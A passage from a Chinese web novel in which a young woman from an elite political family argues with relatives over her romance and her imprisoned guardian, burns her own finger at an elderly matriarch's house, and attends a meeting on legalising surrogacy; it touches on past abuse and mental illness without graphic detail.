真想问你是不是因为是齐燕华的养女,是你的妹妹,所以必须只能做个娇宠万千的大小姐,不能跟任何低声下气扯上关系。 你真的有你说的那么在乎我吗? 可是我在乎你,所以我不会问。 “哥你这话说的,搞得好像我是什么被碰一下就得去浸猪笼的生错时代的倒霉蛋。” “爱情那东西,冷暖自知啦。” “而且不谈恋爱不结婚也能幸福,不是吗?” “是是是。”秋月白笑起来,“茶茶说得对,是哥狭隘了。” 月买茶也笑。 笑着对视着,秋月白正色道:“咱们两个都是人类学出身,知道人上头了做什么都拦不住。” “私事我不会多管,但万一出了什么事,你就是恨哥哥一辈子哥哥也要插手。” “我什么脾气哥你不知道啊,只有我欺负别人的份。”月买茶哼哼唧唧的,“嗯……我咖啡也喝多了。” 秋月白笑眯眯松开了她。 没拿手机,她跑到包厢外的回廊,酒店高层已清场,空荡荡似废弃地。 大风呼啸而过发出尖锐声音,她像森林里逃亡的白雪公主一样拎着裙摆左看右看地跑起来。 苦涩的烟气像神明的索引将她引至洗手间前,在那里,李惨绿站在一棵绿植前,面色冷漠,手点一根烟。 甚至没精力伤春悲秋想李惨绿什么时候会抽烟了,她夺过烟将其摁灭在湿润的土上,紧接着把李惨绿扯进男厕所。 锁门,把李惨绿拽进隔间,再锁门,她把他摁在马桶上,“记得让人把花江会所的监控删了。” 对视片刻,她咬住唇问:“那个顾乔他肯定知道什么。” “我在顾皖舟那边见过他。” 在她监护人位高权重的姘头队伍里,华顾集团董事长顾皖舟是最富有的那个。 “他不会多嘴吧。” “我哥知道了会难过的。” 向所有人屈服的十三岁,不检点的整个青春期。 怕秋月白知道伤心,更怕他站在对方阵营里伤她的心。 隔间的门在她发起抖时被敲了敲。 轻轻拉开隔间门的一条缝,她与顾乔上挑的眼睛对视上。 顾乔还是一派斯文样子,只是没戴眼镜,所以眼里的锋芒和促狭一点也没遮掩的全给她看了清楚。 往外推开门,走出去,除了顾乔,男厕里还有林嘉措。 林嘉措手执着烟,站在窗前,深邃的眼里情绪不明。 “下次讲悄悄话的时候记得清场,我们路人很尴尬的。”顾乔笑起来,“解小姐。” “紧张过头是会翻车的。” 不知是哪句话触动哪个雷点,李惨绿和林嘉措皆把不善的目光投向顾乔。 顾乔举起双手,散漫地做了个投降的动作:“我说的是她生父的那个谢。” “谢谢的谢。” “放心好了。”他放下手揣进兜里,低着头像逗小孩一样对她笑,“我也舍不得老白难过。” “保密哦,小妹妹。”他说着走出男厕。 门合上,李惨绿把不善的目光投向林嘉措。 林嘉措回视他,“人在那,你怎么装聋作哑都没用。” 顿了顿,林嘉措转过头来看她,“有事想私下找你,空了联系我,号码没换。” “我正好有事找你。”月买茶说。 四处看了看她选择跟林嘉措出去说。 酒店高层的视野很好,望出去能看到很不错的雪夜景色。 站在她身边,林嘉措静静等待她开口。 想问七年前的十二月二十三日你在哪里,话一出口变成了: “温锦衣多高?” “一米八左右。”林嘉措说,“具体不清楚。” “我就想知道那个,你呢?” “那时候没有陪你,抱歉,有突发任务,不得不走。” “你还真是会捅刀子。”月买茶笑了下。 “不用抱歉,既然你去了,那就能证明我没有出现幻觉。” “没病入膏肓,我挺高兴的,说实话。” 林嘉措的唇抿得笔直,没有再说下去的兴趣,月买茶草草扔了句“过几天去看你和爷爷”做结尾。 回到包厢,饭局很完美地继续了下去。每个人都扮演了应有的角色,比如不苟言笑的上位者,比如清冷淡漠的学者,比如侃侃而谈的金融精英,再比如有问有答的乖乖妹。 回程路上,握住秋月白戴着海蓝宝戒指的无名指晃,月买茶朝他甜甜一笑。 “哥,我这么优秀,有个追求者是很正常的事吧。” 摩挲了两下她空荡荡的无名指,秋月白笑道: “好呀。” 9. 能伸能屈 雪下了整夜,月买茶也在电脑前守了整夜。 眼睛酸痛,她后知后觉自己被李惨绿骗了。夏洲是有特敕令没错,但能达到特赦条件的人想坐牢都难。 她就知道,姓李的没一个好东西。 “宝宝?”从屁股底下传来的李惨绿的声音吓了她一跳。 四肢混乱地掏出手机,她看着屏幕上的正在通话,陷入沉思。 什么时候打过去的? “宝宝?”李惨绿的声音里多了几分焦急。 懒得管是真是假,她张口就骂:“骗子。” “我怎么了?” “今年压根就不会发特赦令,就算有特敕令,那解琟也不符合要求。” “干你祖宗十八代。” “月买茶,你又没吃药是不是。”李惨绿的声音滋啦了几下,变得很低。 很好,打错电话了。 闭上眼睛,月买茶松了一口气,她就知道她不是那种脾气一上来就不管不顾去骂爱人的人。 “我很抱歉。你是李勒还是李尅?”把语气压缩成谦卑的格式,她编织起在凌晨五点给人打电话的理由。 “我是李鹤。” 五脏六腑立刻翻腾起来,月买茶知道自己又幻听了。 忍住恶心,她从牙齿里挤出话:“你有病吧,没事接我电话干嘛?” “你要不要看看你给我打了几个电话?”李鹤嫌恶地回,“有病能不能去治?” “我一直在积极接受治疗。”月买茶嗤笑,“也不知道是谁在讳疾忌医。” “你——” “干你祖宗十八代,蛋饼吐司米线早饭吃什么。”语速飞快说完,月买茶干脆利落挂断电话。 “好尴尬啊。”红着脸从椅子上跳下去,她跑到黄花梨木柜前,妈妈弟弟姑姑地喊了一通。 喊完把下巴搁在俄罗斯套娃上,看着摆在更里头的骨灰罐,她得意起来。 选择恐惧症患者真好拿捏。 感受到她的快乐,弟弟也跟着一起笑起来。 婴儿的笑声总是那样治愈人心,闭上眼睛,又缓缓睁开,她带着抱歉打电话给李敏衡。 “怎么了?”中年男人的声音很沙哑,一听就知道是刚醒。 月买茶很歉疚地说刚刚问了李鹤早饭要吃什么。 她自己就是心理疾病的受害者,能不知道发起病来多难受吗? 她真有同理心。 担心李敏衡不能及时赶到李鹤身边给予陪伴,她又打电话给其他人。 姚麟啊李勒啊李尅啊……可惜不知道李清许的联系方式。 难受的时候没有祖父在身边陪着,得多难过啊。 带着对祖父的怀念跟妈妈弟弟姑姑道过早安,她去衣帽间换了套毛茸茸的乖巧冬装,接着下楼到起居室里翻自己多年的钩针成果。 凑了一个菜篮子出来,又拿了顶毛线帽,她满意地合十双手,为自己的劳动成果将要有价值而高兴。 摁住拿到手就没关过机的手机的开机键,思考着给齐燕华留完言后要怎么去林高义那,她听到几声动静。 不是雪声,她摸出枪,在上膛的那刻转身。 “吵到您了?”她把枪放回腰间。 星星点点的灯火里齐燕华的影子格外巨大,连青筋都明显得有种杀人藤的意味。 视线从他看不见表情的脸挪到他握着手机的拳头上,月买茶笑:“我不收拾了,您回去睡吧,还早呢。” 在雷打不动五点起床健身的习惯之外,齐燕华还有个更顽固的习惯: 周一早上睡到上班前半个小时。 十分理解睡眠不足的痛苦,为了表示安静的决心,月买茶往沙发上一躺,捞过抱枕横在身前,释放出困倦的信号。 意料之外的,齐燕华没有转身离开,而是一步一步轻声地,带着极具压迫感的影子走下来。 他的动作慢极了,慢到月买茶怀疑那些青筋会咻一下过来缠住她,然后齐燕华会徒手变出一根法杖或者是权杖往她额头上一碰,审判她。 眼睛一眨不眨看着齐燕华走到身边,人凑近时,月买茶往后躲了躲。 起床气不至于那么大吧。 站在她跟前盯了她好一会儿,齐燕华抽走她的抱枕,在她身边坐下,两眼一闭,身子一倒,浅浅地呼吸起来。 七手八脚给叮叮咚咚的手机开了静音,又忙里忙慌地把沙发调到适合睡眠的角度,月买茶把手肘搁在腿上,做出思想者的动作。 那并不是个舒服的姿势,对她而言。 小心地舒展开肢体,她把菜篮子抱到怀里,一个一个检查里面的蔬果,确定里头没有林高义不喜欢的白菜萝卜土豆后又她里外翻起毛线帽,看看有没有脱线的地方。 她的手艺就是棒,满意地抱住帽子,她笔直坐着,闭上眼,打算浅眯一会儿。 “茶茶,茶茶。” “嗯?”眨眨眼,月买茶困倦地看着秋月白。 日光下秋月白健康的小麦肤色让人想到蓝天下金黄的沙漠,她曾在陡坡上奔跑过。 我们躺在草垛上,老式拖拉机隆隆向前开着,比任何安眠药都管用。 你唤醒我,我看着你身后的蓝天,伸出手说困。 你无奈地说小标兵我们该去压沙了。 而我耍起无赖。 你比我更无赖,你一边背着我一边动手把那些干草弄成格子,善意的笑声里我不好意思地从你身上挣开,跌跌撞撞地与不相识的同龄人在沙坡上追逐打闹。 那天我拿到了植树节小标兵的称号。 多美好啊,经历了那么多美好的我们,怎么会变成那个样子呢? 是因为植树节过去了吗? 毛毯从身上滑落带走不必要的情感,露出不好意思的笑,月买茶问:“几点了,哥。” “还早呢。”秋月白调着沙发,让她坐起来。 茶几上的菜篮子还是睡前的模样,攥紧手中的毛线帽,她道: “哥我早上去林爷爷家吃饭,不陪你们了。” 秋月白说好。 * 第九议席长林高义,是慈山后山那样手眼通天之人才可住之地的原住民。 老爷子农奴出身,身体底子本就不好,战时又落了一身病,故工作多是在宅邸做的。 就是因为怕打扰到老爷子办公,月买茶才在凌晨忙上忙下。 开了辆秋月白的柯尼塞格离开竹园,到慈山时林高义正要吃早饭。 少数民族出身的老人用猎隼般锐利的眼神不咸不淡地看了眼她手上拎的东西,皮笑肉不笑:“挑人家吃饭的时候上门做客,规矩学到狗肚子里去了。” “什么做客。”月买茶嚷道,“一家人客什么客。” 摘下围巾递给保姆,她把菜篮子捧到老爷子跟前,笑着展示道:“您孙女我的手艺又长进了。” “瞧瞧。” 拿了放在最表面的青稞出来,端详了会儿,林高义哼道:“倒是有模有样。” 接过整个菜篮子,他翻了翻,“还有博古丹*1?” “说明我把您放心上。”月买茶嘻笑道。 林高义瞧她一眼,起身,拿着菜篮子离开了餐厅,过了会儿才和林嘉措一起回来。 总算不是那副皮笑肉不笑的样子了,月买茶暗暗松了口气。 她知道自己那副功利的样子招人嫌,可就是忍不住。 没底气。 “你看她那呆样。”林高义与摆碗筷的厨娘说。 厨娘笑着回道:“小姐那是大智若愚。” 林高义的饮食风格带着故乡的色彩,糌粑牛肉酥油茶,还有些饼和面,热量极高,一顿能顶一天。 月买茶不在意热量,但她麸质过敏,吃不了面制品,还吃不来牛肉干,就倒了杯酥油茶慢慢喝。 过了会儿厨娘端了碗鸡汤米线上桌,闻到汤里墨脱花椒的味道,她撇撇嘴。 给她只生鸡啃比什么都好。 安安静静吃完早饭,老人坐着休息,她则在林嘉措的示意下跟上他。 “干嘛。”门轻轻合上,月买茶克制住皱眉的欲望,问。 林嘉措摘下他昨晚戴在手上的佛珠递给她,“这几天有高僧来开佛教论坛,你……那个玩意给我,我拿去给人超度了。” “那种东西放在身边伤身。” 皱眉的欲望烟消云散,月买茶反驳道:“你把我弟弟当什么了,他伤谁了?” “又嫌我影响市容了?” 皱起眉头,林嘉措压低声音,说:“伤谁了?你倒腾那些死人东西不碰上灵异事件碰不上海关吗?” “我不想把力气浪费在处理那种无厘头的事上。” “还有,跟李勒李尅的关系断干净了。” “什么干净不干净的,我们一直都是同事好吗。” 林嘉措本来就不浅的肤色更深了,“谁凌晨给同事打私人电话?而且……你还在和李惨绿恋爱。” “对啊,是恋爱啊。又不是在他李家老宅里做大门不出二门不迈接触外男就要被浸猪笼的全职太太。” “综上所述,你心思不正。” “你就不能堂堂正正的吗?”林嘉措的声音压得很低,“之前是迫不得已,现在你有选择权了。” “放你祖宗十八代的屁。”也压低声音,月买茶怒道。 “我们才见了几面,你少在这里给我指手画脚。” “话说不好就给我闭嘴。” 跑下楼,坐回到餐桌旁,她抓起一块牛肉干恨恨撕起来。 “糟蹋粮食。”林高义斜她。 月买茶闷声撕着,不说话。 还选择权。 选择? 但凡晚一年,咬咬牙她也就认了。 往事历历在目,她啜泣起来,“孩子生了,基金会管理权让渡了,现在来一句我有选择了让我跟李勒断掉,合着什么好处都是你们的。” “也是,破鞋踩起来不心疼。” 啪,林嘉措把手拍到桌上。 立刻眨眼断泪,她撒娇道:“这么拍手不疼的啊。” “您心疼我,我心疼您的手,咱们俩这下扯平了。” 躲开她的目光,林高义看向窗外的芭蕉叶。 “好了好了,从现在开始就是您往死里打我我都不提那件事,行吧。” “找我做什么?” “听说今年会发特赦令下来,我想着解琟迟早要出来,那不如现在就把他放出来。” “省得我天天惦记。” “谁跟你说解琟迟早要出来的?” “嘉措你去上班吧。” 林嘉措的银色奥迪驶上林荫路,林高义长长叹了口气,说:“李芒种这么跟你说的?” 收着笑脸的厨娘战战兢兢撤下碗筷,隔着湿漉漉的桌面,林高义像看不成器的后代一样冷哼: “讲到孩子眼泪知道掉,讲到解琟就什么都忘了?” “要不是给你面子,他配在隐岛上住着?” 监护人在的隐岛监狱只关重要人物,岛上设施齐全,跟疗养院一样。 是个颐养天年的好地方。 可月买茶不甘心,解琟不到半百,有什么好颐养天年的。 “我不在意。”看着渐渐干涸的桌面,月买茶说。 她不在意解琟给她戴上的受害者的标签。 他们相依为命,她爱他。 林高义重重呼吸了几下,淡漠道:“我也不在意。” “可是林风致在意,谢冕在意,你父母的朋友都在意。” “我老了要退休了,他们还是壮年,我干嘛跟他们对着干?” “没人会跟他们对着干。” 无力地张着嘴,月买茶听到胃液胆汁咕嘟嘟腐蚀五脏六腑的声音。 “好好在青琐待着吧,以前的事……就当是上辈子的事。”说完,林高义离开了餐桌。 * 洗去手上的牛肉碎屑,月买茶抬起头,对镜撑出笑脸。 哪有垮着脸求人办事的道理? 更何况……是她自己先找的不痛快。 祥林嫂什么下场书里写着呢,那种坏人心情的话可不能再说了。 祥林嫂都没她主动。 低头洗了把冷水脸,仔仔细细擦干,等脸变凉变白,她小跑出去,挤开陪林高义散步的警卫,跟老人家谈天说地。 一路谈到书房门开,她识趣闭上嘴,搬了个小椅子坐到窗边去。 古旧的博古架下,老人戴着远视眼镜,静静地翻阅文件。 岁月在他身上留下的痕迹太过明显,以至于月买茶只用眼睛看他,就信了要换新的传闻。 要知道大部分议席长是一路做到临终前两三年的。 “没事做?” “没。”猛摇了两下头,月买茶趴到木几上,木木地看着窗外同样形制的朴素小楼。 那里住着的又是谁。 “李行寥跟你不搭。” 林高义的声音自身后来,缠上她的脖子。 窒息感里,她放轻呼吸,好节省肺里不多的氧气。 但林高义的分析就像一个强力真空机,只用摁一下按钮,就能吸瘪她的肺。 “你受的苦总要说给枕边人听。” “李行寥一心扑在工作上,哪有那么多时间听你说?” “你受不了冷落。” “就算他愿意听,他乐意天天听你骂他家里人吗?” 胸腔里火辣辣的疼,月买茶张开嘴要反驳。 林高义却没给她说话的机会。 “他总要结婚的,可你不想嫁,李家不想娶,那还不如趁早断了。” “小老虎,你才二十,什么关过不去?” “跟他们一家杠,难过的还不是你。” 那些话就像根针,扎合了她的唇。 挣扎着要撕开唇,她见阳光先一步穿破云层。青A来来往往,阳光落在树上,叶子被照成阴阳两面,据说那是万物的规律。 时间好像过去了很久,纸页一页一页缓缓被翻过,签字声沙沙,不知在定哪只蝼蚁的生死。 血淋淋地喝出气,她想到温锦衣——被元帅陈带大的——继承了元帅陈所有遗产的京圈第一大小姐。 默默合上嘴,趴回木几上,看着血痂点点滚在冷硬的木头上,她发誓再也不要跟林高义讲话。 似乎是睡着了,迷迷糊糊里听到几声脆生生的将军早上好,有门合上,她听见林高义在叹气。 铲子脆生生地铲着锅,她被断断续续的叹气翻炒清醒。 大早上的抽什么风?自己找罪受。 抖落背上的毯子,轻手轻脚爬起来又去洗了把脸,站在客厅中央,她见厨娘像看孩子一样看手中锃亮的餐具,满眼都是爱。 “小姐醒了。”把餐具摆好,厨娘回身跟她说话,“午饭还没好,要不要喝点牛肉汤垫肚子。” 月买茶点了点头。 跟着进了厨房,看到流理台上的柠檬和薄荷,知道午饭大概是越南河粉,她问厨娘林高义吃得惯吗? pho清淡还不管饱,不像是会出现在林高义食谱上的食物,虽说她喜欢吃,可老人没有惯着人的习惯。 厨娘笑着指指篮子里的面条,说:“谁都不受委屈。” 灶台上有两口锅,一口大锅缓慢熬着牛清汤,一口小锅翻腾着萝卜和牛腩,见厨娘要给她舀萝卜牛腩,她忙拦住她,说烫点牛肉片就好。 厨娘照做了,雪白的汤碗里铺上上好的牛肉片,夹杂着萝卜的热汤飞流直下,月买茶的心情又差了一点。 打着解琟很好的腹稿回了书房,她绕到林高义背后给人捶肩膀,试图从孝道角度论证解琟把她养得很好。 可嘴才张开,门就被敲了两下。 来者是齐燕华和第九议席的副议席长彭嵩,两人是来汇报工作的。 两人在各方面都是竞争对手,去南方完善履历后齐燕华必然要朝第九议席长的职位冲刺,彭嵩常驻青琐,也下了不少苦功。 偏偏两人还是年纪相近的壮年,熬死对方上位的路是走不了一点。 一点情绪都没地汇报工作,两人讲完就要离开。 林高义却一反常态留人吃饭。 “是。”彭嵩放松姿态,坐到待客的椅上。 喝下第一口茶,他像才看到月买茶一样开口道:“回来了就乖点,别跟以前一样叫你伯伯担心。” 他们一进来月买茶就到木几上趴着了,瞅眼面容冷肃的齐燕华,她转了个头。 几上碎碎散着嫩芽的残骸,是她从盆栽上揪下来的。 “谢冕那小子好几天没给我打电话了。”林高义与彭嵩说起深城议长。 谢冕是她生父的双胞胎兄长,在她十三岁以后主动找上门认亲。 “你跟谢冕的关系倒是一直那么好。”林高义感叹。 “生死之交,自然要好。”彭嵩笑回。 林高义又跟齐燕华说起京中的青年才俊。 不知是风水还是别的什么在作祟,京中青年才俊凡事业有成的实权派,在感情上都冷冰冰的,不论心还是脑都跟隆冬天里的铁栏杆一样,闻着甜甜的,舔上去却能撕下人一层皮。 三人认真讨论起来,讨论到最后发现有一个女孩子特别适合月买茶。 和谐的讨论场面和奇葩的讨论结果让月买茶怀疑她是不是压根没睡醒,早上发生的一切都是噩梦。 话题生硬转向婚姻大事,听到那,月买茶松开正在摧残的绿植,嚎道:“不结婚,我死都不结婚。” “看我不顺眼你们就找个尼姑庵把我塞进去,让我青灯古佛去。” “正好我搁里头找个女的谈恋爱。” “反正男的不适合我。” “嘴上说着关心我,我一开口就让我结婚,让我光顾着一个人祸害是吧?” “好心叫你们起床我还有错了?” “那么点度量有脸——” “——把她扶出去。”齐燕华的语气很平静。 秘书闻言唤了保姆进来,保姆连抱带拖地把她弄到客厅的躺椅上,安慰她:“我们妹妹这么可爱,怎么舍得把你嫁出去……” 月买茶不理她,就盯着敞着门的书房嚎。 保姆安慰一声,她嚎一嗓子要做女同。 保姆很快就安慰不动了,她四处瞧瞧,一指对面小楼前停着的跑车,跟幼儿讲故事一样对月买茶说:“看,是李家五少爷。” 她说起十四岁读博的李家五少爷是如何厉害如何帅,希冀用那样一个传奇人物吸引住月买茶的眼球。 某种意义上,她达到了她的目的。 望着改装过的Atlantic,月买茶的眼泪止不住下流。 那是李惨绿的座驾,他人长情,开的一直是那辆黑不溜秋的跑车。 目送着李惨绿 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脚步顿都没顿进入书房,李惨绿旁若无人地抱起她到沙发边,用空的那只手把抱枕摆到舒服的角度,放下她,他熟练地端起茶几上的水壶,给她倒了杯甜茶。 身边的齐燕华身上似乎在散发一种难以名状的气息,觉得尴尬,月买茶使出全身力气把两颗眼珠子塞进茶杯里。 身前,站着的李惨绿挨个向三个长辈问好,并用眼神锁定齐燕华。 齐燕华往后仰了仰,躲开他的目光。 “不方便的话可以出去说。”含下一口茶,彭嵩说。 李惨绿不方便?能让李惨绿那性格不方便的也只有她了,“得,我出去待着,快点,等着吃饭呢。” 餐厅里粉面和小菜已经上桌了,厨娘望过来,她说里头在忙,得等等。 不好提前入座,坐沙发上也坐不久,她索性站到门下,赏廊里的花。 百花鲜妍,也不知是怎么培养的,藏地各时的花居然全开在了一起。 格桑花随冷风摆动,手机响了两声,她接起来,是国际上的事——旧时藏地贵族在新时代害人的事将登上欧鹰所有的报纸。 她活不长没法给人祝寿,只能用那种形式报答了。 顺便看起邮件,上百桩帮空巢地区留守幼女打的官司,涉及抚养问题。 很快看完,抬起头,正准备远眺缓解视力时她见格桑花后站着位打扮得典雅贵气的老妇人。 那是李老太太身边最得力的女侍,姓齐,是老太太娘家人。 对视上,朝人点头,她松松散散地问:“林爷爷在谈事,您稍等。” 老妇人微微一笑,说:“我来找你。” “老太太听说你来了,想见见你。” 月买茶乐了,她俩什么关系啊? “您有话直说吧。” “不知道你误会了什么。”老妇人笑道,“作为长辈,老太太只是想见见晚辈而已。” 月买茶挑起一边眉毛,“我对你家五少爷可一点非分之想都没。” “当然,尊老是夏洲的传统美德,哪天搁路上碰见我会喊她奶奶的。” “是这样的,你的养父,齐燕华省议长,是老太太的侄孙。”似是怕她不明白,老妇人缓缓补充道:“老太太和齐燕华省议长的祖父齐颂将军是亲姐弟。” “当然,您也可以从母亲那一脉开始数。” “那就是说,齐燕华省议长和姚麟先生,和我家大爷二爷,是有共同外祖父母的表兄弟。” “当女的和当人当到你这份上也是够差劲的。”月买茶笑道,“等着吧。” 重重推开书房门,她倚着门笑道:“我说你们要不然修个宪降低一下性|同意年龄,省的天天有人提醒我我被强|奸了。” “往下降一年就好,我方便我说是自愿的。” 说着向齐燕华看去,她道:“你爷爷的姐姐找我,要不要一起去。” 转身走进餐厅,捻起几片薄荷叶嚼了嚼,她呼噜噜吃起没有香茅草的pho。 书房敞着,里头传出林高义的声音,是在跟齐燕华说三百堂离桂邻居近,他看完姑奶奶还能顺便带月买茶去参加一下外事活动。 李老太太闺名齐雅,有一兄一弟,三人名字取自诗经的风雅颂。 兄弟早逝,老太太为了纪念他们便给自己的住所取了个三百堂的名字。 取自诗三百。 嚼着薄荷,月买茶想齐雅真是把咥其笑矣*2学了个透彻。 * 沉默走进三百堂堂屋,瞅瞅身边唯一的男丁,月买茶扫视屋里坐着的别人。 不知是有意还是无意,那些人不约而同地避开她,一点眼神都没给她。 “姑奶奶。”齐燕华问好到。 “太姑奶奶好。”月买茶低头问好。 齐雅笑着点头,侍女带着他们两个坐到老太太下首。 天井里海棠开得正盛,她听齐雅笑道: “要见你的时候见不到,今天不喊你,你自己倒是来了。” “她害羞,我这做爸爸的只好陪着了。“ “一眨眼,你都这么大了。”说着,李老太太让人给了她一个暖手的香球。 “那球还是你爷爷送我的,哪知道那时青琐已经有了暖气,香球用处不大了。”说着李老太太长叹一声:“要是这岁数能分一半给弟弟就好了。” “让他看看如今用不上香球的光景。” 精致的香球内里燃着灰,却不烫手。 妇人们安慰起李老太太,七嘴八舌里,她听见两个女人的笑声。 愣在原地,她盯住李老太太清澈的眼,里面她瞳孔扩大的像个被灾难愕在原地的人。 李家第三代的大太太温冉在很长一段时间里的确是她的灾难。 李家大爷李敏衡是她监护人姘头队伍里地位最高的一位,更是最不像会贪图美色做人姘头的一位。 所以到现在大家都说温冉是太太们中最幸福的一个,娘家给力,夫家强盛,丈夫敬重,儿子聪颖。 幸福的人一朝跌落神坛,恨意便也比别人浓上百倍。 解琟失踪后温冉笑脱臼了下巴,不顾纱布缠脸的形象跑来找她,咬牙切齿地笑,说解琟的批捕令是李敏衡和明浮白一起签的。 “我不但知道那个,温伯母,我还知道解琟会上隐岛。” 摸着自己光滑的下巴,月买茶嘲讽笑道:“隐岛可是众所周知的疗养圣地。我这个做家人的,还得多谢李伯伯对解琟的照拂,让他暂放工作好好休息呢。” “前几年解琟犯心肌炎,李伯伯担心的样子,我这做女儿的可是看在了眼里呢。” 温冉气得动起手。 那场会面也确实结束于武斗。 不过赢的那方是她,她把温冉摁到磅蛋糕里,让温冉与过敏原接触,进了病房。 但说起来,输得彻头彻尾的还是她。 她被李敏衡叫在病房外训斥,在等温冉好转的时间里耳闻身体健康的监护人突发恶疾正在抢救,而她的朋友们都指责她太过分。 “茶茶,喊冉伯母。” 月买茶低低喊道:“冉伯母。” 温冉应了声。 搀着温冉手臂的温锦衣好似没看见她,直接扑进李老太太怀里,娇憨地笑起来。 感觉她扑出了一屋的腐烂气息,月买茶忙低下头,看有些剥落的美甲。 原来莫名其妙的敌意是这样来的。 猫眼胶的磁粉在不同角度下会展现出不同的样子,再简单不过的指甲油,她多久没做穿戴甲了? 只在熟人间才会有的暗语和其乐融融里,她看向齐燕华。 齐燕华挺开心的。 用以震慑人的不苟言笑消散,舒展开成为一张艳绝千年的脸,望着他看温锦衣的慈爱眼神,月买茶突然就好想好想解琟。 她已经很久很久没想起过那张艳丽的面庞了。 那个让男人们神魂颠倒的男人,有一双忧郁的桃花眼,一对紧抿的不薄不厚的唇,一身凛然的气质。 他们两个有什么区别呢,月买茶像学者一样比较起两个好看到倾国倾城的人。 齐燕华出身高贵,举手投足间带着不惹人厌的倨傲,可解琟也不差,解琟也一身矜贵气。 他们还都是最高学府里出来的。 到底差在哪呢?看着满屋的贵胄,月买茶想。 是不是他们其中有一个受伤,其他人就会很紧张,听着李老太太对齐燕华健康身体的关切,月买茶低下头去看她老人家给自己的香球。 里头炉火旺盛,旺得像地狱里永不熄灭的业火。 后路,月买茶脑里蹦出一个她从未想过的词,齐燕华的人生前有康庄大道,后有安逸福地,可解琟没有。 解琟一直是单打独斗的。 解琟是个贫穷的孤儿。 她知道他们的区别了,他们一个自信向上,一个自信向下。 那我呢?月买茶伸出手指,摸进香球的裂缝,她是白衣,还是乌衣? 她想林高义说得对:她确实受不了冷落。 那么礼貌到此为止。 “啊——”月买茶发出一声惊叫。 鄙夷的目光闪烁着,所有人都回过头看她。 而她举起握着香球的手,满眼恶意地看不苟言笑的齐燕华。 “我的手烧焦了。” 10. 至亲至疏 本来是打算点点别的,但是做门窗的银杏木和做家具的楠木都不是小小香球能点得着的,一圈看下来,她自己竟是最好使的易燃物。 真可惜没给它拆了,银质小球在桌上碌碌滚着,月买茶呼呼地吹起手指。 很快,医生来了,带着急救箱和李惨绿。 在李惨绿拿到她手指前把手指塞到医生手里,她道:“辛苦了。” 忍着不去搭理落在身上的眼神,她抬起头,一板一眼地道歉: “太姑奶奶对不起,我不该乱动齐颂将军的遗物。” 齐雅笑了下,“也不能说是小弟的遗物,毕竟他已经送给我了。” “送你的东西就是你的,你想怎么处理都可以。” “记得小弟名字的人不多了。”齐雅怅惘道,“你算是一个。” “不知小弟知道有你这么个曾孙女会作何感想。” “太舅爷爷一定很高兴。”站在她身后,李惨绿开口,“茶茶是您看着长大的,她多好您还不清楚吗?” 他真挚的语气乌云一样飘到主位上,哗啦啦地暴淋在齐雅身上,看着椅背上青筋暴起的手,月买茶耳里难以控制地回荡起: 她多好您还不清楚吗? 确实,承认敌人的实力也算认可自己。 没理会李惨绿,她转头看向一脸严肃的齐燕华。 “爸爸。” “好了,那么小一个球能怎么烫着人。”李老太太摆摆手,“阿璆你下午还要上班,先去休息吧。” “小茶就留在我这,让芊羽照顾着,避免留疤的事她擅长。” “哪里会到留疤的程度,就是她娇气,一点疼都受不了。”说着齐燕华看了她一眼,“在家里做霸王做惯了,在外头也胡来?” “让您见笑了。”目视着李老太太,齐燕华说。 “这孩子下午还有事要忙,等忙完我再让她来陪您。” 我什么时候有事要忙了?点着头,月买茶的心跳漏了一拍。 李老太太哦了声,问:“什么事?” 齐燕华说有几个委员想推动代|孕官方化。 代|孕官方化,那话从齐燕华嘴里出来有种莫名的滑稽。 控制不住想笑,她反手握住李惨绿的手。 是黑诊所钻精英压榨底层人的空子借机偷精偷卵的笑话不好笑?还是多代出来的孩子在联大上要抚养费的场面不够荒诞? “是有这事。”温锦衣说,她的脸通红,跟温冉不爽的表情形成鲜明对比。 “今儿还要求您件事。”齐燕华继续说。 “咱们两家人够多了,没必要逼着生孩子。当然,想生的该怎么样就怎么样,不走歪门邪路就好。” “硬生出来万一得了什么病,大家都难受不是么。” “更何况取出来放在医院里,也不保险。” “璆叔叔。”李惨绿突然吭声。 “这种事也能放到台面上来讲了,真稀奇。”李老太太说,“别光顾着跟我说,也跟你奶奶说去,我手还没那么长。” “谁敢不听您的。”齐燕华笑道。 “就你会说好话。”李老太太看了眼李惨绿,“都忙去吧,我也要休息了。” 老太太走后,陪聊的妇人们最先散去,谈笑风生到最后,只剩下一个巴掌的人。 迎着温冉的目光看着温锦衣扯人的手,月买茶懒洋洋撑着脸道: “冉伯母,我们有正事要忙,就不陪你了。” “不知道祁小姐养好身子了没,要是养不好就硬生孩子,流产了,敏衡伯伯要心疼的。” 温冉的脸扭曲起来。 “你在威胁我?” “是啊。” 说罢她站起来,拉着李惨绿离开三百堂,直走到齐燕华的奥迪前才停下脚步。 车窗明亮,她看着里头飘着的三条影子道:“晚点来接我吧。” 沉默着,最白的那条影子飘走了。 行驶在马路上的车就像一个有终点的秘密基地,自己的地盘,说什么似乎都行。 “午安,第一公子。”看着窗外,月买茶冷淡问好。 “本来就打算让你来处理。”磨砂挡板把后座隔成小天地,齐燕华的声音是她熟悉的那种冷肃。 “那你不早说?你早点说我自己就来了,用得着闹成这样吗?” 说完掏出手机,她打电话回竹园,让人收拾行李送到机场。” “外面不安全。” “你跟我说不安全?”月买茶嘲笑道,“我们这个关系,真不适合住一块儿。” 齐燕华闭上眼,“你装聋作哑又不是第一天了。” “亲亲,这句话应该是我哭着说出来发泄的。”挂断电话,她脱下鞋给了齐燕华一脚。 齐燕华安静地受住了。 月买茶又蹬了他两脚。 齐燕华安静的像死了。 月买茶便也不诈尸了。 反正他们迟早要和好。 * 是最后一个进会议室的,入座前拎了下椅子,是她能肆意挥舞的重量。 刚刚在门口齐燕华的秘书给她指了下官方化前来开会的代表,单枪匹马,不知是哪里来的胆子。 露骨地打量着其他面色古怪的与会人员,她迅速在心里画起思维导图。 一项大部分人都不会赞成的提议,怎么会走到谈判的进程。 “这位是?”看她一眼,官方化代表问。 “至乐基金会的决策人。”温锦衣介绍道,“至乐基金会作为夏洲最大的NGO,有权参与影响其成员生活的决策的制定会议,并表示赞成或反对。” 长长地哦了声,代表以不浪费大家时间为开头开始了发言。 在市场需求广阔的基础上,代表认为在官方监督下代|孕一可以为贫困妇女带来收入——反正在老家也要生孩子;二可以减少高素质人才负担——孕妇对自身和周围环境要求很高,采取体外模式可以让高素质人才专注工作;三可以实现管控——就像不主动提供艾滋病患者报告可将艾滋病患者控制在正规医院里…… “最后——”代表说着看眼月买茶,“可以防止反夏势力做文章。” 那孩子还是她处理的呢,微笑着,月买茶做出一副什么都没感觉到的样子。 